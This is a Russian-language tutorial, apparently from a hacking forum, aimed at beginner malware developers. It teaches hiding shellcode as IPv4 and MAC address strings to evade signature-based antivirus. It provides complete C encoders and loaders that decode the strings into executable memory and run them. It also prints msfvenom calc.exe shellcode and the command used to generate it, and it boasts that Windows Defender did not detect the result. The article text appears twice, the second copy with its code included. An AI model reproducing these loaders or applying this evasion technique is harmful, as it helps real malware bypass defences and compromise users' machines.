Автор: shqnx
Специально для мои маленькие любители разработки мальвари. В данной статье мы поговорим о двух простейших методах сокрытия шелл-кода, которые помогут обойти антивирусную проверку, основанную на сигнатурах. Особо опытные - вам наверняка тут делать нечего. Материал рассчитан на новичков. Без лишних слов приступаем к делу.
И так, подключаем заголовочные файлы для работы с функциями ввода-вывода, для работы со строками и для работы с динамическим выделением памяти и другими утилитами:
C: Скопировать в буфер обмена
И сразу же переходим к функции, которая будет преобразовывать шелл-код в IPv4-адреса:
C: Скопировать в буфер обмена
Наша функция bytesToIPv4 принимает три аргумента: указатель на массив байтов, который нужно преобразовать (bytes), размер массива байтов (bytesSize) и указатель на переменную, в которую будет записано количество IPv4-адресов (ipCount).
Функция вычисляет количество IPv4-адресов и выделяет память под массив указателей, где каждый указатель будет указывать на строку с IPv4-адресом. Далее проверяем успешность выделения памяти. Если выделение памяти не удалось, то функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Далее инициализируем наш счётчик ipCount нулём и начинаем цикл, который идёт с шагом в 4 байта (напомню, это размер одного IPv4-адреса). Внутри цикла проверяется, хватает ли оставшихся байтов для формирования полного IPv4-адреса. Если байтов достаточно, выделяется память для строки, которая будет содержать IP-адрес (16 байт достаточно для хранения адреса формата "xxx.xxx.xxx.xxx"). Продолжим:
C: Скопировать в буфер обмена
Опять проверка успешности выделения памяти с той же логикой. Далее с помощью функции snprintf байты преобразуются в строку формата "x.x.x.x". Эта строка сохраняется в массив ipAddresses. После этого увеличивается счётчик ipCount. Переходим к функции main:
C: Скопировать в буфер обмена
В данном примере я использовал калькуляторный PoC шелл-код из MSFvenom. Сгенерировать его можно выполнив следующую команду:
Для удобства чтения я обрезал часть шелл-кода. В конце каждого из показанных методов сокрытия будет прикреплён полный код.
И так, в функции main задаётся массив shellcode, содержащий байты для преобразования в IPv4-адреса. Переменная shellcodeSize содержит размер шелл-кода в байтах. Думаю тут всё понятно, переходим далее:
C: Скопировать в буфер обмена
Здесь вызывается функция bytesToIPv4, которая возвращает массив строковых представлений IPv4-адресов и записывает их количество в переменную ipCount. Если ipAddresses возвращает NULL, то программа завершает своё выполнение с кодом ошибки. Далее программа выводит массив строк на экран. После каждого вывода IPv4-адреса, память, выделенная под этот адрес, освобождается. В конце освобождается память, выделенная под массив указателей. А теперь давайте запустим нашу программу и посмотрим, что получилось:
Как мы видим, программа отработала корректно и выдала нам длинный массив IPv4-адресов, который уже можно смело копипастить в код.
И так, преобразователь готов. Для проверки работоспособности нашего творения напишем ещё одну небольшую программу. Если первый шаг был написание обфускатора, то второй шаг - написание деобфускатора. Этим мы и займёмся в первую очередь. Приступим же:
C: Скопировать в буфер обмена
Подключаем заголовочные файлы для работы с Windows API и для работы с функциями ввода-вывода. Далее начинаем создавать нашу функцию обратного преобразования. Она будет принимать три параметра: массив строк, содержащих IPv4-адреса (ipAddresses), количество IPv4-адресов в массиве (ipCount) и указатель на переменную, в которой будет сохранён размер полученного массива байтов (bytesSize). Далее выделяем память для массива, который будет содержать IPv4-адреса в виде байтов. Так как каждому IPv4-адресу требуется 4 байта, то для всех адресов нужно ipCount * 4 байт. Если память не удалось выделить (если malloc вернул NULL), функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Для каждого IPv4-адреса в массиве строк вызывается функция sscanf_s, которая разбивает строку на четыре октета (1 октет = 1 байт) и сохраняет их в массив octets. Здесь мы используем форматную строку, которая указывает, что ожидаются четыре числа, разделенные точками. %hhu используется для считывания значения в unsigned char. Если sscanf_s не может распознать IP-адрес (то есть не удаётся считать четыре октета), выделенная память освобождается, а функция возвращает NULL. Далее memcpy копирует октеты в соответствующее место в общем массиве байтов. И, наконец, функция возвращает указатель на массив байтов. Переходим к функции main:
C: Скопировать в буфер обмена
Объявляем массив ipAddresses, который мы получили в результате работы нашей программы для преобразований. Далее определяем количество всех IPv4-адресов и преобразовываем их в байты с помощью нашей функции IPv4ToBytes. Если эта функция возвращает NULL, то программа завершает работу с кодом ошибки. Продолжим:
C: Скопировать в буфер обмена
Тут мы выделяем память для исполнения кода при помощи функции VirtualAlloc. Если память не выделилась, программа освобождает память для байтов и завершает работу с кодом ошибки. Далее при помощи memcpy мы копируем байты в выделенную память. После того, как байты скопированы в память для выполнения, выделенная для них память больше не нужна и освобождается при помощи free. Далее интерпретируем выделенную память как функцию и вызываем её, таким образом исполняя наши байты как машинный код. После этого с помощью VirtualFree выделенная память освобождается. И, наконец, если всё прошло успешно, программа завершает работу.
Пришло время протестировать то, что у нас получилось:
Что и требовалось ожидать, дефендер не издал даже малейшего писка =).
Спойлер: Полный код
Спойлер: ipv4_encoder
C: Скопировать в буфер обмена
Спойлер: ipv4
C: Скопировать в буфер обмена
Перейдём к следующему методу.
C: Скопировать в буфер обмена
Начинаем вновь с того, что подключаем заголовочные файлы и начинаем написание нашей функции для преобразования. Функция всё так же принимает три аргумента: указатель на массив байтов, который будет преобразован в MAC-адреса (bytes), размер массива байтов (bytesSize) и указатель на переменную, куда будет записано количество найденных MAC-адресов (macCount). Внутри функции вычисляется количество возможных MAC-адресов. Так как каждый MAC-адрес занимает 6 байт, то размер массива байтов делится на 6. Далее выделяется память для массива указателей на строки, каждая из которых будет хранить один MAC-адрес. Если память не выделяется (macAddresses == NULL), функция возвращает NULL. Переходим далее:
C: Скопировать в буфер обмена
Тут мы инициализируем счётчик найденных MAC-адресов. Далее цикл проходит по массиву байтов с шагом 6 байт. Выделяется память для строки длиной 18 символов, которая будет содержать один MAC-адрес в текстовом формате (18 байт достаточно для хранения адреса формата "xx:xx:xx:xx:xx:xx"). Если память не выделилась (mac == NULL), функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Здесь snprintf формирует строку MAC-адреса из 6 байт. Сформированный MAC-адрес сохраняется в массив macAddresses и увеличивается счётчик адресов macCount. И, наконец, после завершения цикла функция возвращает массив строк с MAC-адресами. Функция main остаётся такой же, как и в методе с IPv4. Поэтому повторный раз объяснять я не вижу смысла. Меняются только названия переменных и название вызываемой функции:
C: Скопировать в буфер обмена
Проверим, что у нас получилось:
Всё корректно. Опять же можно брать и копипастить в код. Вот только кода, в который можно это копипастить у нас ещё нет. Зато остался "макет" с методом, основанным на IPv4. Так что спокойно можем отредактировать его под новые нужды. Начнём с написания функции обратного преобразования:
C: Скопировать в буфер обмена
Тут нам уже всё знакомо. Подключаем заголовочные файлы, определяем функцию MACToBytes, принимающую три аргумента. Далее вычисляем размер массива байтов. Так как каждому MAC-адресу требуется 6 байт, то для всех адресов нужно macCount * 6 байт. Выделяем память для массива байтов, при неудаче возвращаем NULL. Продолжим:
C: Скопировать в буфер обмена
Для каждого MAC-адреса выполняется разбор строки с помощью sscanf_s, затем извлекается 6 байтов из строки в массив octets. Если разбор не удался, то выделенная память освобождается, и функция возвращает NULL. Если разбор успешен, байты копируются в выделенную область памяти. И, наконец, возвращается указатель на массив байтов. Функция main не требует никаких сложных изменений, чтобы это было необходимо объяснять. Заменяем массив с IPv4-адресами на массив с MAC-адресами и меняем названия переменных и вызываемой функции:
C: Скопировать в буфер обмена
И так, проверка данного метода:
Всё отработало без нареканий.
Спойлер: Полный код
Спойлер: mac_encoder
C: Скопировать в буфер обмена
Спойлер: mac
C: Скопировать в буфер обмена
На этой ноте я бы хотел подводить итоги и заканчивать статью. Большое спасибо всем, кто прочитал до этого момента. Очень надеюсь, что кому-либо пригодится сказанное здесь. Само собой на этом не ограничиваются все методы, можно придумать и свой кастомный, тут дело лишь вашей фантазии и креативности. Всем успехов!
Специально для мои маленькие любители разработки мальвари. В данной статье мы поговорим о двух простейших методах сокрытия шелл-кода, которые помогут обойти антивирусную проверку, основанную на сигнатурах. Особо опытные - вам наверняка тут делать нечего. Материал рассчитан на новичков. Без лишних слов приступаем к делу.
IPv4
Начнём с базовой информации касаемо IPv4. Адреса в этой версии протокола имеют длину 4 байта. Записываются в виде четырёх десятичных чисел, разделённых точками. Шелл-код, в свою очередь, также состоит из байтов. Исходя из этой информации, я думаю многие из вас уже догадались, к чему всё идет. Наша первоначальная задача - написать обфускатор шелл-кода в формат IPv4-адресов. Теперь приступаем к реализации. В процессе буду пояснять код для лучшего понимания.И так, подключаем заголовочные файлы для работы с функциями ввода-вывода, для работы со строками и для работы с динамическим выделением памяти и другими утилитами:
C: Скопировать в буфер обмена
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
[ . . . ]
И сразу же переходим к функции, которая будет преобразовывать шелл-код в IPv4-адреса:
C: Скопировать в буфер обмена
Code:
[ . . . ]
char** bytesToIPv4(const unsigned char* bytes, size_t bytesSize, size_t* ipCount) {
size_t count = bytesSize / 4;
char** ipAddresses = (char**)malloc(count * sizeof(char*));
if (ipAddresses == NULL) {
return NULL;
}
[ . . . ]
Наша функция bytesToIPv4 принимает три аргумента: указатель на массив байтов, который нужно преобразовать (bytes), размер массива байтов (bytesSize) и указатель на переменную, в которую будет записано количество IPv4-адресов (ipCount).
Функция вычисляет количество IPv4-адресов и выделяет память под массив указателей, где каждый указатель будет указывать на строку с IPv4-адресом. Далее проверяем успешность выделения памяти. Если выделение памяти не удалось, то функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Code:
[ . . . ]
*ipCount = 0;
for (size_t i = 0; i < bytesSize; i += 4) {
if (i + 3 < bytesSize) {
char* ip = (char*)malloc(16 * sizeof(char));
[ . . . ]
Далее инициализируем наш счётчик ipCount нулём и начинаем цикл, который идёт с шагом в 4 байта (напомню, это размер одного IPv4-адреса). Внутри цикла проверяется, хватает ли оставшихся байтов для формирования полного IPv4-адреса. Если байтов достаточно, выделяется память для строки, которая будет содержать IP-адрес (16 байт достаточно для хранения адреса формата "xxx.xxx.xxx.xxx"). Продолжим:
C: Скопировать в буфер обмена
Code:
[ . . . ]
if (ip == NULL) {
return NULL;
}
snprintf(ip, 16, "%d.%d.%d.%d", bytes[i], bytes[i + 1], bytes[i + 2], bytes[i + 3]);
ipAddresses[*ipCount] = ip;
(*ipCount)++;
}
}
return ipAddresses;
}
[ . . . ]
Опять проверка успешности выделения памяти с той же логикой. Далее с помощью функции snprintf байты преобразуются в строку формата "x.x.x.x". Эта строка сохраняется в массив ipAddresses. После этого увеличивается счётчик ipCount. Переходим к функции main:
C: Скопировать в буфер обмена
Code:
[ . . . ]
int main() {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
/*------[. . .]------*/
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
size_t shellcodeSize = sizeof(shellcode);
[ . . . ]
В данном примере я использовал калькуляторный PoC шелл-код из MSFvenom. Сгенерировать его можно выполнив следующую команду:
msfvenom -p windows/x64/exec CMD="calc.exe" -f c
Нажмите, чтобы раскрыть...
Для удобства чтения я обрезал часть шелл-кода. В конце каждого из показанных методов сокрытия будет прикреплён полный код.
И так, в функции main задаётся массив shellcode, содержащий байты для преобразования в IPv4-адреса. Переменная shellcodeSize содержит размер шелл-кода в байтах. Думаю тут всё понятно, переходим далее:
C: Скопировать в буфер обмена
Code:
[ . . . ]
size_t ipCount;
char** ipAddresses = bytesToIPv4(shellcode, shellcodeSize, &ipCount);
if (ipAddresses == NULL) {
return EXIT_FAILURE;
}
printf("char* ipAddresses[] = {\n");
for (size_t i = 0; i < ipCount; i++) {
printf("\"%s\"", ipAddresses[i]);
if (i < ipCount - 1) {
printf(",");
printf("\n");
}
free(ipAddresses[i]);
}
printf(" };\n");
free(ipAddresses);
return EXIT_SUCCESS;
}
Здесь вызывается функция bytesToIPv4, которая возвращает массив строковых представлений IPv4-адресов и записывает их количество в переменную ipCount. Если ipAddresses возвращает NULL, то программа завершает своё выполнение с кодом ошибки. Далее программа выводит массив строк на экран. После каждого вывода IPv4-адреса, память, выделенная под этот адрес, освобождается. В конце освобождается память, выделенная под массив указателей. А теперь давайте запустим нашу программу и посмотрим, что получилось:
Как мы видим, программа отработала корректно и выдала нам длинный массив IPv4-адресов, который уже можно смело копипастить в код.
И так, преобразователь готов. Для проверки работоспособности нашего творения напишем ещё одну небольшую программу. Если первый шаг был написание обфускатора, то второй шаг - написание деобфускатора. Этим мы и займёмся в первую очередь. Приступим же:
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>
unsigned char* IPv4ToBytes(char** ipAddresses, size_t ipCount, size_t* bytesSize) {
*bytesSize = ipCount * 4;
unsigned char* bytes = (unsigned char*)malloc(*bytesSize);
if (bytes == NULL) {
return NULL;
}
[ . . . ]
Подключаем заголовочные файлы для работы с Windows API и для работы с функциями ввода-вывода. Далее начинаем создавать нашу функцию обратного преобразования. Она будет принимать три параметра: массив строк, содержащих IPv4-адреса (ipAddresses), количество IPv4-адресов в массиве (ipCount) и указатель на переменную, в которой будет сохранён размер полученного массива байтов (bytesSize). Далее выделяем память для массива, который будет содержать IPv4-адреса в виде байтов. Так как каждому IPv4-адресу требуется 4 байта, то для всех адресов нужно ipCount * 4 байт. Если память не удалось выделить (если malloc вернул NULL), функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Code:
[ . . . ]
for (size_t i = 0; i < ipCount; i++) {
unsigned char octets[4];
if (sscanf_s(ipAddresses[i], "%hhu.%hhu.%hhu.%hhu",
&octets[0], &octets[1],
&octets[2], &octets[3]) != 4) {
free(bytes);
return NULL;
}
memcpy(bytes + i * 4, octets, 4);
}
return bytes;
}
[ . . . ]
Для каждого IPv4-адреса в массиве строк вызывается функция sscanf_s, которая разбивает строку на четыре октета (1 октет = 1 байт) и сохраняет их в массив octets. Здесь мы используем форматную строку, которая указывает, что ожидаются четыре числа, разделенные точками. %hhu используется для считывания значения в unsigned char. Если sscanf_s не может распознать IP-адрес (то есть не удаётся считать четыре октета), выделенная память освобождается, а функция возвращает NULL. Далее memcpy копирует октеты в соответствующее место в общем массиве байтов. И, наконец, функция возвращает указатель на массив байтов. Переходим к функции main:
C: Скопировать в буфер обмена
Code:
[ . . . ]
int main() {
char* ipAddresses[] = {
"252.72.131.228",
/*------[ . . . ]------*/
"101.120.101.0" };
size_t ipCount = sizeof(ipAddresses) / sizeof(ipAddresses[0]);
size_t bytesSize;
unsigned char* bytes = IPv4ToBytes(ipAddresses, ipCount, &bytesSize);
if (bytes == NULL) {
return EXIT_FAILURE;
}
[ . . . ]
Объявляем массив ipAddresses, который мы получили в результате работы нашей программы для преобразований. Далее определяем количество всех IPv4-адресов и преобразовываем их в байты с помощью нашей функции IPv4ToBytes. Если эта функция возвращает NULL, то программа завершает работу с кодом ошибки. Продолжим:
C: Скопировать в буфер обмена
Code:
[ . . . ]
void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (execMemory == NULL) {
free(bytes);
return EXIT_FAILURE;
}
memcpy(execMemory, bytes, bytesSize);
free(bytes);
((void(*)())execMemory)();
VirtualFree(execMemory, 0, MEM_RELEASE);
return EXIT_SUCCESS;
}
Тут мы выделяем память для исполнения кода при помощи функции VirtualAlloc. Если память не выделилась, программа освобождает память для байтов и завершает работу с кодом ошибки. Далее при помощи memcpy мы копируем байты в выделенную память. После того, как байты скопированы в память для выполнения, выделенная для них память больше не нужна и освобождается при помощи free. Далее интерпретируем выделенную память как функцию и вызываем её, таким образом исполняя наши байты как машинный код. После этого с помощью VirtualFree выделенная память освобождается. И, наконец, если всё прошло успешно, программа завершает работу.
Пришло время протестировать то, что у нас получилось:
Что и требовалось ожидать, дефендер не издал даже малейшего писка =).
Спойлер: Полный код
Спойлер: ipv4_encoder
C: Скопировать в буфер обмена
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char** bytesToIPv4(const unsigned char* bytes, size_t bytesSize, size_t* ipCount) {
size_t count = bytesSize / 4;
char** ipAddresses = (char**)malloc(count * sizeof(char*));
if (ipAddresses == NULL) {
return NULL;
}
*ipCount = 0;
for (size_t i = 0; i < bytesSize; i += 4) {
if (i + 3 < bytesSize) {
char* ip = (char*)malloc(16 * sizeof(char));
if (ip == NULL) {
return NULL;
}
snprintf(ip, 16, "%d.%d.%d.%d", bytes[i], bytes[i + 1], bytes[i + 2], bytes[i + 3]);
ipAddresses[*ipCount] = ip;
(*ipCount)++;
}
}
return ipAddresses;
}
int main() {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
size_t shellcodeSize = sizeof(shellcode);
size_t ipCount;
char** ipAddresses = bytesToIPv4(shellcode, shellcodeSize, &ipCount);
if (ipAddresses == NULL) {
return EXIT_FAILURE;
}
printf("char* ipAddresses[] = {\n");
for (size_t i = 0; i < ipCount; i++) {
printf("\"%s\"", ipAddresses[i]);
if (i < ipCount - 1) {
printf(",");
printf("\n");
}
free(ipAddresses[i]);
}
printf(" };\n");
free(ipAddresses);
return EXIT_SUCCESS;
}
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>
unsigned char* IPv4ToBytes(char** ipAddresses, size_t ipCount, size_t* bytesSize) {
*bytesSize = ipCount * 4;
unsigned char* bytes = (unsigned char*)malloc(*bytesSize);
if (bytes == NULL) {
return NULL;
}
for (size_t i = 0; i < ipCount; i++) {
unsigned char octets[4];
if (sscanf_s(ipAddresses[i], "%hhu.%hhu.%hhu.%hhu",
&octets[0], &octets[1],
&octets[2], &octets[3]) != 4) {
free(bytes);
return NULL;
}
memcpy(bytes + i * 4, octets, 4);
}
return bytes;
}
int main() {
char* ipAddresses[] = {
"252.72.131.228",
"240.232.192.0",
"0.0.65.81",
"65.80.82.81",
"86.72.49.210",
"101.72.139.82",
"96.72.139.82",
"24.72.139.82",
"32.72.139.114",
"80.72.15.183",
"74.74.77.49",
"201.72.49.192",
"172.60.97.124",
"2.44.32.65",
"193.201.13.65",
"1.193.226.237",
"82.65.81.72",
"139.82.32.139",
"66.60.72.1",
"208.139.128.136",
"0.0.0.72",
"133.192.116.103",
"72.1.208.80",
"139.72.24.68",
"139.64.32.73",
"1.208.227.86",
"72.255.201.65",
"139.52.136.72",
"1.214.77.49",
"201.72.49.192",
"172.65.193.201",
"13.65.1.193",
"56.224.117.241",
"76.3.76.36",
"8.69.57.209",
"117.216.88.68",
"139.64.36.73",
"1.208.102.65",
"139.12.72.68",
"139.64.28.73",
"1.208.65.139",
"4.136.72.1",
"208.65.88.65",
"88.94.89.90",
"65.88.65.89",
"65.90.72.131",
"236.32.65.82",
"255.224.88.65",
"89.90.72.139",
"18.233.87.255",
"255.255.93.72",
"186.1.0.0",
"0.0.0.0",
"0.72.141.141",
"1.1.0.0",
"65.186.49.139",
"111.135.255.213",
"187.240.181.162",
"86.65.186.166",
"149.189.157.255",
"213.72.131.196",
"40.60.6.124",
"10.128.251.224",
"117.5.187.71",
"19.114.111.106",
"0.89.65.137",
"218.255.213.99",
"97.108.99.46",
"101.120.101.0" };
size_t ipCount = sizeof(ipAddresses) / sizeof(ipAddresses[0]);
size_t bytesSize;
unsigned char* bytes = IPv4ToBytes(ipAddresses, ipCount, &bytesSize);
if (bytes == NULL) {
return EXIT_FAILURE;
}
void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (execMemory == NULL) {
free(bytes);
return EXIT_FAILURE;
}
memcpy(execMemory, bytes, bytesSize);
free(bytes);
((void(*)())execMemory)();
VirtualFree(execMemory, 0, MEM_RELEASE);
return EXIT_SUCCESS;
}
Перейдём к следующему методу.
MAC
По старинке начнём с базовой информации. MAC-адрес имеет длину 6 байт. Записывается в виде шести частей, каждая из которых состоит из двух шестнадцатеричных цифр, которые представляют собой один байт. Части разделены между собой двоеточием. Суть не меняется, меняются лишь подходы к реализации. Нас всё так же интересует написание обфускатора, только на сей раз преобразовывая байты в MAC-адреса. Приступим:C: Скопировать в буфер обмена
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char** bytesToMAC(const unsigned char* bytes, size_t bytesSize, size_t* macCount) {
size_t count = bytesSize / 6;
char** macAddresses = (char**)malloc(count * sizeof(char*));
if (macAddresses == NULL) {
return NULL;
}
[ . . . ]
Начинаем вновь с того, что подключаем заголовочные файлы и начинаем написание нашей функции для преобразования. Функция всё так же принимает три аргумента: указатель на массив байтов, который будет преобразован в MAC-адреса (bytes), размер массива байтов (bytesSize) и указатель на переменную, куда будет записано количество найденных MAC-адресов (macCount). Внутри функции вычисляется количество возможных MAC-адресов. Так как каждый MAC-адрес занимает 6 байт, то размер массива байтов делится на 6. Далее выделяется память для массива указателей на строки, каждая из которых будет хранить один MAC-адрес. Если память не выделяется (macAddresses == NULL), функция возвращает NULL. Переходим далее:
C: Скопировать в буфер обмена
Code:
[ . . . ]
*macCount = 0;
for (size_t i = 0; i < bytesSize; i += 6) {
if (i + 5 < bytesSize) {
char* mac = (char*)malloc(18 * sizeof(char));
if (mac == NULL) {
return NULL;
}
[ . . . ]
Тут мы инициализируем счётчик найденных MAC-адресов. Далее цикл проходит по массиву байтов с шагом 6 байт. Выделяется память для строки длиной 18 символов, которая будет содержать один MAC-адрес в текстовом формате (18 байт достаточно для хранения адреса формата "xx:xx:xx:xx:xx:xx"). Если память не выделилась (mac == NULL), функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Code:
[ . . . ]
snprintf(mac, 18, "%02x:%02x:%02x:%02x:%02x:%02x",
bytes[i], bytes[i + 1], bytes[i + 2],
bytes[i + 3], bytes[i + 4], bytes[i + 5]);
macAddresses[*macCount] = mac;
(*macCount)++;
}
}
return macAddresses;
}
[ . . . ]
Здесь snprintf формирует строку MAC-адреса из 6 байт. Сформированный MAC-адрес сохраняется в массив macAddresses и увеличивается счётчик адресов macCount. И, наконец, после завершения цикла функция возвращает массив строк с MAC-адресами. Функция main остаётся такой же, как и в методе с IPv4. Поэтому повторный раз объяснять я не вижу смысла. Меняются только названия переменных и название вызываемой функции:
C: Скопировать в буфер обмена
Code:
[ . . . ]
int main() {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
/*------[ . . . ]------*/
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
size_t shellcodeSize = sizeof(shellcode);
size_t macCount;
char** macAddresses = bytesToMAC(shellcode, shellcodeSize, &macCount);
if (macAddresses == NULL) {
return EXIT_FAILURE;
}
printf("char* macAddresses[] = {\n");
for (size_t i = 0; i < macCount; i++) {
printf("\"%s\"", macAddresses[i]);
if (i < macCount - 1) {
printf(",");
printf("\n");
}
free(macAddresses[i]);
}
printf(" };\n");
free(macAddresses);
return EXIT_SUCCESS;
}
Проверим, что у нас получилось:
Всё корректно. Опять же можно брать и копипастить в код. Вот только кода, в который можно это копипастить у нас ещё нет. Зато остался "макет" с методом, основанным на IPv4. Так что спокойно можем отредактировать его под новые нужды. Начнём с написания функции обратного преобразования:
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>
unsigned char* MACToBytes(char** macAddresses, size_t macCount, size_t* bytesSize) {
*bytesSize = macCount * 6;
unsigned char* bytes = (unsigned char*)malloc(*bytesSize);
if (bytes == NULL) {
return NULL;
}
[ . . . ]
Тут нам уже всё знакомо. Подключаем заголовочные файлы, определяем функцию MACToBytes, принимающую три аргумента. Далее вычисляем размер массива байтов. Так как каждому MAC-адресу требуется 6 байт, то для всех адресов нужно macCount * 6 байт. Выделяем память для массива байтов, при неудаче возвращаем NULL. Продолжим:
C: Скопировать в буфер обмена
Code:
[ . . . ]
for (size_t i = 0; i < macCount; i++) {
unsigned char octets[6];
if (sscanf_s(macAddresses[i], "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
&octets[0], &octets[1], &octets[2],
&octets[3], &octets[4], &octets[5]) != 6) {
free(bytes);
return NULL;
}
memcpy(bytes + i * 6, octets, 6);
}
return bytes;
}
[ . . . ]
Для каждого MAC-адреса выполняется разбор строки с помощью sscanf_s, затем извлекается 6 байтов из строки в массив octets. Если разбор не удался, то выделенная память освобождается, и функция возвращает NULL. Если разбор успешен, байты копируются в выделенную область памяти. И, наконец, возвращается указатель на массив байтов. Функция main не требует никаких сложных изменений, чтобы это было необходимо объяснять. Заменяем массив с IPv4-адресами на массив с MAC-адресами и меняем названия переменных и вызываемой функции:
C: Скопировать в буфер обмена
Code:
[ . . . ]
int main() {
char* macAddresses[] = {
"fc:48:83:e4:f0:e8",
/*------[ . . . ]------*/
"63:2e:65:78:65:00" };
size_t macCount = sizeof(macAddresses) / sizeof(macAddresses[0]);
size_t bytesSize;
unsigned char* bytes = MACToBytes(macAddresses, macCount, &bytesSize);
if (bytes == NULL) {
return EXIT_FAILURE;
}
void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (execMemory == NULL) {
free(bytes);
return EXIT_FAILURE;
}
memcpy(execMemory, bytes, bytesSize);
free(bytes);
((void(*)())execMemory)();
VirtualFree(execMemory, 0, MEM_RELEASE);
return EXIT_SUCCESS;
}
И так, проверка данного метода:
Всё отработало без нареканий.
Спойлер: Полный код
Спойлер: mac_encoder
C: Скопировать в буфер обмена
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char** bytesToMAC(const unsigned char* bytes, size_t bytesSize, size_t* macCount) {
size_t count = bytesSize / 6;
char** macAddresses = (char**)malloc(count * sizeof(char*));
if (macAddresses == NULL) {
return NULL;
}
*macCount = 0;
for (size_t i = 0; i < bytesSize; i += 6) {
if (i + 5 < bytesSize) {
char* mac = (char*)malloc(18 * sizeof(char));
if (mac == NULL) {
return NULL;
}
snprintf(mac, 18, "%02x:%02x:%02x:%02x:%02x:%02x",
bytes[i], bytes[i + 1], bytes[i + 2],
bytes[i + 3], bytes[i + 4], bytes[i + 5]);
macAddresses[*macCount] = mac;
(*macCount)++;
}
}
return macAddresses;
}
int main() {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
